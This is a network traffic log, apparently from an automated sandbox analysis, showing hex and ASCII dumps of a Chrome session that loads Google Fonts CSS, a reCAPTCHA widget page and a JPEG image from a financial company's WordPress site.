2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 72 7a 34 44 76 55 2d 63 59 32 4a 59 43 77 48 53 54 63 6b 30 5f 71 6d 2d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6c 4b 2d 62 6c 33 79 4e 48 4e 75 53 57 70 61 71 55 79 4f 46 77 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/styles__ltr.css"><script nonce="lK-bl3yNHNuSWpaqUyOFwA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 31 32 38 56 6e 61 4d 73 4e 54 67 6c 36 34 36 52 4c 76 30 34 46 5a 45 39 77 50 31 30 38 4a 54 67 61 70 5f 54 75 34 6a 39 65 72 44 42 53 4f 6e 53 78 30 38 65 6f 36 65 6e 4b 75 43 63 62 70 55 37 74 34 63 58 6d 78 5a 53 46 35 2d 6c 5a 47 53 6f 76 6b 54 43 62 55 31 7a 2d 76 54 5f 68 4b 39 68 77 61 70 68 33 6a 62 72 66 76 35 66 4d 72 71 79 6d 48 66 61 70 2d 4c 4d 59 73 6c 49 71 66 37 30 61 79 57 34 55 53 7a 34 64 4e 4e 42 56 73 68 48 49 7a 6a 38 4b 35 49 63 77 31 6c 6e 41 65 32 4d 63 70 43 68 54 51 46 69 65 41 66 61 30 55 49 73 5f 62 4b 57 75 68 34 79 74 55 58 78 69 63 63 6a 6c 50 79 32 44 4e 30 56 66 41 36 67 37 64 58 64 39 32 4a 75 6c 38 5a 6a 34 63 67 4f 61 69 62 6b 30 67 4e 55 49 58 5f 38 44 4e 43 30 61 67 67 64 65 58 7a 61 6e 73 6c 66 32 53 36 4a 47 6d 52 Data Ascii: 128VnaMsNTgl646RLv04FZE9wP108JTgap_Tu4j9erDBSOnSx08eo6enKuCcbpU7t4cXmxZSF5-lZGSovkTCbU1z-vT_hK9hwaph3jbrfv5fMrqymHfap-LMYslIqf70ayW4USz4dNNBVshHIzj8K5Icw1lnAe2McpChTQFieAfa0UIs_bKWuh4ytUXxiccjlPy2DN0VfA6g7dXd92Jul8Zj4cgOaibk0gNUIX_8DNC0aggdeXzanslf2S6JGmR
2024-04-11 20:34:59 UTC	1255	IN	Data Raw: 49 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 6c 4b 2d 62 6c 33 79 4e 48 4e 75 53 57 70 61 71 55 79 4f 46 77 41 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 30 58 33 52 32 53 6d 4e 4f 55 6d 68 50 4d 47 52 44 52 6b 35 75 57 47 49 78 54 56 6c 6b 53 54 68 54 4d 6d 51 33 64 57 6f 74 55 6b 31 6c 52 55 31 4d 53 6d 4a 49 51 6d 39 5a 4c 6d 70 7a 5c 78 32 32 2c 5c 78 32 32 5c 78 32 32 2c 5c 78 32 32 5a 30 4e 59 4b 30 5a 51 Data Ascii: I"><script type="text/javascript" nonce="lK-bl3yNHNuSWpaqUyOFwA"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy80X3R2SmNOUmhPMGRDRk5uWGIxTVlkSThTMmQ3dWotUk1lRU1MSmJIQm9ZLmpz\x22,\x22\x22,\x22Z0NYK0ZQ
2024-04-11 20:34:59 UTC	591	IN	Data Raw: 61 55 38 34 52 47 63 31 51 7a 64 4a 56 6a 5a 44 62 6c 46 7a 5a 54 52 42 57 46 4e 34 62 31 6c 75 64 54 4e 49 54 32 67 34 65 47 59 77 53 32 74 70 52 30 6c 36 5a 54 56 78 4f 58 68 6a 4d 56 70 72 4b 32 45 72 62 6e 5a 58 64 58 46 50 57 6a 52 30 57 46 63 33 55 46 56 54 64 31 64 47 4e 6b 6f 78 64 47 74 42 64 47 31 52 54 53 39 47 4d 47 64 78 65 58 59 78 53 6a 64 58 56 30 46 68 52 6e 56 46 52 7a 6b 33 65 48 68 6b 59 30 64 71 4f 56 4e 52 4d 57 5a 51 61 44 45 77 62 31 64 4e 56 7a 68 73 59 56 64 6d 65 6b 4a 54 5a 56 6c 73 64 47 4e 6a 63 7a 64 59 63 55 39 4f 5a 33 46 6a 63 7a 52 79 53 7a 68 35 62 47 39 59 63 30 4a 70 64 58 4a 7a 4e 54 6c 56 4d 44 4d 33 62 54 56 55 56 6c 70 78 54 48 4a 50 62 6c 4d 32 53 32 5a 71 4b 33 56 34 65 54 59 34 63 56 4a 54 4e 7a 64 48 62 6a 63 Data Ascii: aU84RGc1QzdJVjZDblFzZTRBWFN4b1ludTNIT2g4eGYwS2tpR0l6ZTVxOXhjMVprK2ErbnZXdXFPWjR0WFc3UFVTd1dGNkoxdGtBdG1RTS9GMGdxeXYxSjdXV0FhRnVFRzk3eHhkY0dqOVNRMWZQaDEwb1dNVzhsYVdmekJTZVlsdGNjczdYcU9OZ3FjczRySzh5bG9Yc0JpdXJzNTlVMDM3bTVUVlpxTHJPblM2S2ZqK3V4eTY4cVJTNzdHbjc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49808	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	673	OUT	GET /wp-content/themes/x-child/images/mission_back.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:59 UTC	717	IN	HTTP/1.1 200 OK Connection: close Content-Length: 160648 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c956-27388" last-modified: Thu, 31 Aug 2017 08:31:18 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:59 GMT X-Served-By: cache-ewr18139-EWR, cache-ewr18150-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867699.254708,VS0,VE100 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 bf 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f2 5d 0f 14 f6 cf dd c7 Data Ascii: JFIFC!"$"$C@"]
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 27 8b d5 86 35 a7 ab e7 79 ba ab 3f 47 87 0d 03 d7 97 47 66 a7 cf 65 f6 94 d4 70 77 76 b9 ca ba 1d 4f 3b 4c 3e b6 af 29 9a cf 31 54 5f 26 f2 52 40 d4 e0 10 93 43 b7 d5 79 1f 49 cd af 99 8e aa 37 ce a2 e5 73 41 74 02 31 ba 21 53 b0 6a 0a c8 82 bf 32 0e b6 ef 36 35 eb 2c f2 37 33 d2 55 cc dc cb 23 aa 62 c2 69 a9 35 16 82 8c 7d 19 52 e1 51 e9 2b bc f8 5a 35 e6 a8 c8 e4 85 d3 8e 4c b2 51 a6 dd 57 34 5d 45 7c fd 17 55 2d 55 9e 07 b9 26 76 b9 f5 54 ab b3 43 5c 35 69 a6 ea 8e 59 d0 cf 0a de 64 3a 31 d4 7a a9 d7 dd 83 7c bd 9c 7d d7 64 d7 b7 0d fc ed 3d 0a b6 c6 9e a3 c5 79 73 aa 67 4f 9b 93 a3 46 6c ef 6b d5 c2 d7 3e fe cc 7e b7 5a 82 6b 7c 6a b7 3d 68 d2 e7 06 93 70 11 63 06 45 81 96 da a7 9d 53 ba bc c2 af 4c 2a 57 a7 34 e0 1c 1a ab e8 f3 75 76 6e e6 f5 34 9c Data Ascii: '5y?GGfepwvO;L>)1T_&R@CyI7sAt1!Sj265,73U#bi5}RQ+Z5LQW4]E\|U-U&vTC\5iYd:1z\|}d=ysgOFlk>~Zk\|j=hpcESL*W4uvn4
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: c6 30 1a 69 ca 51 63 9f 80 f6 7e 32 b2 ec 53 4c 38 7b ae 56 57 a4 cf 55 17 65 59 ec 5d 05 46 25 cb 9a ea 68 cf 9f 2d 7a 1b fc 7d d3 5e 9f 89 45 f2 f4 ec cd ab 2d 79 58 7a 3a b5 cf 9f d3 d5 19 38 bb 27 92 8e dd de 5a 09 ee e8 65 e7 e9 3d 6b 78 34 dc fa 0c ab bd 9b f2 67 47 a7 67 ca 95 16 73 e9 f4 4f 15 81 73 e9 35 17 d3 9a 42 10 29 a6 ac d1 90 2e a5 3b 97 7d 30 09 52 e4 9c 66 55 4a 51 90 8b 2a 4c 22 2b 51 17 65 4c 4a 4d 12 a5 8d 29 21 13 84 e2 ca ec 4d 32 f8 f5 1a 76 18 59 3e 7c 63 2e 51 90 c2 d3 a6 d3 be 5c d1 bc f2 b1 18 27 d1 d8 3f 3b 93 dc 61 4c d3 76 ce fe 1e 44 36 ed 9a b2 fe 05 5a e7 77 42 9e 8c 5e 75 2a 9e 5c f8 f5 ba bd 5e 6e 0c d9 d3 5d 2f 3d 8f 6f 3f 6e 4f 4d 9b a4 f5 e4 dd b7 1d c4 6c d3 3b e7 b3 2e 5c 66 31 a2 af 4f 8f 7f 1b 9f db cd 96 f5 60 Data Ascii: 0iQc~2SL8{VWUeY]F%h-z}^E-yXz:8'Ze=kx4gGgsOs5B).;}0RfUJQL"+QeLJM)!M2vY>\|c.Q\'?;aLvD6ZwB^u\^n]/=o?nOMl;.\f1O`
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: d5 a4 28 59 44 b9 6b c8 e2 fa 38 63 4d ae 8f 4b cd dd 15 d5 d9 e6 a5 4b d0 f4 3c 75 90 fb 1b fc c4 2a 7b bd 3f 1a 4e 9e b7 07 22 f0 e9 6d f1 77 35 e4 a9 47 26 f1 b6 a2 6b a1 4c 69 6a 64 6f a4 b1 c8 69 5b 15 35 12 51 14 66 80 9d 6c 69 d9 58 3b ca 0a 92 13 8c b2 50 90 f4 3c ce e0 ad 93 4a f3 aa 0a c3 03 0c 2a 30 db 40 9d cb a9 40 ce 70 d5 53 13 8d ab aa 99 ae 9e 73 3b 34 e2 5d bc 55 df 1f 45 3a 79 cb 7b bc 49 75 ce 3d 0c f4 7e 87 86 69 37 ed c3 d4 6b 9b d1 8f 2e a7 a3 cb b6 8b 88 bc fb 2a 33 75 36 f0 6e 37 ea 97 30 2d e8 d1 81 a7 b6 ee 7a 2d b2 3b 62 d5 b0 f6 38 6f 94 a7 91 8e b4 61 b3 27 7f 19 06 85 4f 7e 7a 42 bb 64 ba 79 33 43 4a a8 c1 1d c3 5e 66 9f 4c 45 e1 ee 35 52 02 69 a0 01 08 00 18 80 00 10 34 00 08 13 4d 0c 68 06 d0 9b 40 20 00 00 00 00 00 00 00 Data Ascii: (YDk8cMKK<u{?N"mw5G&kLijdoi[5QfliX;P<J0@@pSs;4]UE:y{Iu=~i7k.*3u6n70-z-;b8oa'O~zBdy3CJ^fLE5Ri4Mh@
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: a8 e6 47 4e 77 28 04 20 60 8b ad a5 97 4e ed 54 b8 33 ee 45 9c 6b f7 65 a9 84 73 59 2f 4d da ed d2 72 ca fb 0a cb 6f 44 71 86 3d 38 b3 3c ca 2a 6c bb 3b 13 78 64 3d d8 76 cd ac 76 d2 d1 6d 0e 4d 57 32 fb ce 1e aa cd 9d fc 0e 4a 5a e4 e7 19 4d 30 01 80 30 12 04 c6 20 04 80 04 9a 10 00 02 63 04 c0 00 01 30 00 00 00 60 0c 00 18 00 00 86 00 0d 31 8d 30 62 69 80 03 69 a0 69 8c 69 80 d3 4c 69 80 d3 01 a6 31 a6 0d c5 a6 c0 06 02 1b 40 36 98 db 8b 4d b8 b0 6e 20 48 88 12 4a 21 28 ae 6a 35 78 cc 5c fe 3e d9 d0 97 3f 44 75 6d db 71 4c 7a 3c ad f0 36 47 3b 9b 5d b4 84 e9 86 90 aa c8 d4 86 ed 8d 2b b9 c7 46 6a bb eb aa e7 cd 09 79 bd f6 5b 9a 52 ef a6 d8 84 65 07 4a d4 45 a9 38 45 a9 95 c9 92 00 18 48 51 94 53 27 37 b8 21 37 9a 6a bc 57 b0 a0 bd 39 aa 72 dc c8 c6 78 Data Ascii: GNw( `NT3EkesY/MroDq=8<*l;xd=vvmMW2JZM00 c0`10biiiiLi1@6Mn HJ!(j5x\>?DumqLz<6G;]+Fjy[ReJE8EHQS'7!7jW9rx
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 0d 30 00 18 03 01 36 00 30 06 c0 06 02 18 00 34 c6 00 00 20 62 40 c4 84 ca 7c d4 69 d0 f1 f4 2e 2e d7 15 76 5a c3 bf a2 7b e2 b3 e7 b2 f3 a7 a4 b3 5e 74 69 31 27 75 16 ea 4e 54 43 7b 55 e6 aa b4 e1 75 93 41 45 3d 96 67 d1 4f 26 a2 5a 1b 8b 95 75 e7 55 0e a6 e9 69 99 cd cd a2 6b 17 37 7a f2 3d 4e 7b 94 75 ca 2e 70 64 9e 48 86 c9 f2 ab 0e cc 38 d3 55 ba ac ed cd b4 d8 c2 a7 28 b0 9d 55 86 a8 67 48 bd 52 da 93 84 98 95 ba a5 e0 97 63 73 3c de af 41 99 3c 7a b3 e2 a5 da ab 95 68 68 c7 6c 82 bb a1 01 df 3c 54 25 ae 3c f1 cf 6e 7c 6e b3 7c e5 d9 b2 e3 35 b2 95 a7 7f 2d 8a ce 2f 5b b3 2f 90 ef f3 11 5d 8c 78 35 45 55 ea 79 98 75 ce d8 dd be 6b 6c b9 f6 6f 94 68 9d 18 eb 5a aa d0 d1 1d 10 d3 34 4e 96 6a 8a 55 32 73 8d c4 ef bb d4 74 f2 45 8f af 89 48 90 0c 69 b9 Data Ascii: 0604 b@\|i..vZ{^ti1'uNTC{UuAE=gO&ZuUik7z=N{u.pdH8U(UgHRcs<A<zhhl<T%<n\|n\|5-/[/]x5EUyuklohZ4NjU2stEHi
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: b7 ea e5 d2 06 f8 8c 06 c0 01 a1 0c 18 c0 00 69 a0 69 8d b4 d3 1a 60 34 c6 0c 42 60 00 00 30 01 a6 31 a6 03 4d 03 4c 00 06 c0 00 04 00 0d 26 9a 4a 48 5c 5f 37 ef fc 67 1f 67 17 d2 71 a9 e1 ed e9 ee 39 fb e5 a7 3e ca 91 cc e5 7a aa d3 e6 eb bb 16 b9 74 6c f2 57 d4 74 65 0e d5 cc 6b ce b4 ce 17 3a 65 cf 36 8e b2 a8 e4 c9 8a a4 56 77 f3 bc 1d 4a 7c e6 99 ef 4e d8 d2 11 d5 76 7a f2 1f 7b 2d c7 43 9f ce c3 79 79 6d 5a ef e1 ef df 4f 0a 09 f5 b9 ef 52 78 0e 88 3c f7 d1 10 d6 51 01 16 e6 ca 1d 2a f9 e9 1a b3 c0 44 a3 65 c3 c9 67 6b b0 1e 4b a7 e8 f9 e3 96 af 3f 91 9d fe 55 8d ac 1b 63 07 17 c3 65 96 b9 fb 2a e7 a5 d8 ab 91 92 2f a5 96 8f a1 0a ab eb f1 5d 5c b2 e7 df ab 93 ae 59 eb db 49 fa 00 f5 3c a9 f9 08 e5 e1 ec 24 7a 4c 7a 32 73 b5 61 a9 8f 46 8d a9 e9 c8 Data Ascii: ii`4B`01ML&JH\_7ggq9>ztlWtek:e6VwJ\|Nvz{-CyymZORx<QDegkK?Uce/]\YI<$zLz2saF
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 3a 95 37 56 99 16 db e9 7a 79 21 68 76 f9 e3 1b 43 1a 64 94 86 35 25 4d a6 9b 92 63 93 52 9a 72 8c d5 4f 9b 77 96 f3 7d 2d 9c 25 da e3 ed a6 f2 9e ac 2b 70 c5 b7 3e 8a 24 eb 38 e8 aa 41 36 6c a9 e6 2d 75 45 ed c9 7b a9 c5 d1 e4 f6 93 e7 f4 f9 3b c3 1f 5b 8b bd a9 67 b2 5c fd 7d 6a 2c cb cb d3 4c 34 46 d6 3c 9d 4e 7d c5 71 94 75 c1 4a 13 bc fa 18 ab ec 54 62 f6 7f 3d ed ef cf e9 89 47 58 01 80 0c 60 34 00 03 00 18 09 b0 01 80 36 26 0d 02 18 98 c6 00 00 0c 00 1a 68 1a 06 c0 01 a6 03 4d 30 00 18 00 00 03 00 aa d6 9f ce a9 f6 5e 2b cd f4 b6 74 f9 1d 39 a5 44 3a b7 19 e9 a3 68 47 2d 9a 00 c3 1e 92 75 c6 ab 9a 21 1d 0d 43 2e 96 99 9b 55 49 e8 e7 68 4c d6 f1 ec 73 8f 57 1b ba 9d 78 fa fc c9 be 47 3f d4 76 1c ff 00 ff c4 00 2f 10 00 02 03 00 01 03 03 03 03 04 02 Data Ascii: :7Vzy!hvCd5%McRrOw}-%+p>$8A6l-uE{;[g\}j,L4F<N}quJTb=GX`46&hM0^+t9D:hG-u!C.UIhLsWxG?v/
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 12 69 a2 35 42 fa b6 06 92 f1 d3 f5 a8 0b dd d9 35 35 b3 4d f5 0e 9c 29 57 b3 ca a4 e1 0f 06 7f 2d 8d 34 4f 51 35 c2 06 cd 99 c0 0f 61 b2 fc fb 19 61 d3 c9 94 cc 6a f3 9a 33 88 61 0a 5e 51 e6 13 6b 86 31 62 f3 da 8a 1a ea 25 63 c8 14 b1 19 61 38 bf ab 99 4c 2a 81 a5 95 03 75 c1 d4 a2 9f b4 73 c3 2d 65 53 8b a9 fe 6f d3 99 5e 95 2c 42 e1 e7 0b b3 cc 75 08 4a bd 6e bb a0 50 d4 5d af 88 65 db 1e db 3b 52 e2 c3 b6 73 18 da 11 32 27 1a 55 cc 1a ed a2 be 26 87 59 5a 15 16 34 14 67 c5 39 96 d2 58 76 c5 8d 43 0b 9c 73 7e 9c cc b4 71 54 45 54 ee 62 58 6a 8d d0 0e 1e 6c 08 3c 24 cd 8a 34 46 76 28 5e f3 69 67 55 91 24 00 17 c7 cf e2 fd 0a b9 99 db e3 22 4f dc 2b a5 8a 9f 9c 35 77 55 d7 33 5a 61 55 81 ac c5 81 2f 9b 95 5c 57 af e7 d7 8e 26 ad 2b ce ac f9 99 a1 b3 5e Data Ascii: i5B55M)W-4OQ5aaj3a^Qk1b%ca8L*us-eSo^,BuJnP]e;Rs2'U&YZ4g9XvCs~qTETbXjl<$4Fv(^igU$"O+5wU3ZaU/\W&+^
